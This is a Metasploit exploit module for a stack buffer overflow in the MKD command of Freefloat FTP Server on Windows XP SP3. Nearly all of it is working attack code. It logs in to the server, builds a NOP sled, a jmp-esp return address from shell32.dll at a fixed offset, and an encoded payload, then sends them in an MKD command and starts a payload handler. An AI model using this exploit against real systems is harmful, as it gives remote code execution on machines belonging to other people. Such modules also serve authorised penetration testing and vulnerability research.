Freefloat FTP Server MKD Buffer Overflow (Metasploit)



##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking

    include Msf::Exploit::Remote::Ftp

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Freefloat FTP Server MKD Command Stack Overflow',
            'Description'    => %q{
                        This module exploits a buffer overflow vulnerability
                        found in the MKD command in the Freefloat FTP server.
            },
            'Author'         => [
                        'C4SS!0 G0M3S',        # Initial Discovery
                        'James Fitts'    # Metasploit Module
                    ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: $',
            'References'     =>
                [
                    [ 'URL', 'http://www.exploit-db.com/exploits/17539/' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space' => 700,
                    'BadChars' => "\x00\x0a\x0d",
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Windows XP SP3', 
                        { 
                            'Ret' => 0x7cb97475, # jmp esp from shell32.dll
                            'Offset' => 247
                        } 
                    ],
                ],
            'DisclosureDate' => 'Jul 17 2011',
            'DefaultTarget'    => 0))
    end

    def exploit
        connect_login

        print_status("Trying target #{target.name}...")

        buf = make_nops(target['Offset']) + [target.ret].pack('V')
        buf << make_nops(20)
        buf << payload.encoded

        send_cmd( ['MKD', buf] , false )

        handler
        disconnect
    end

end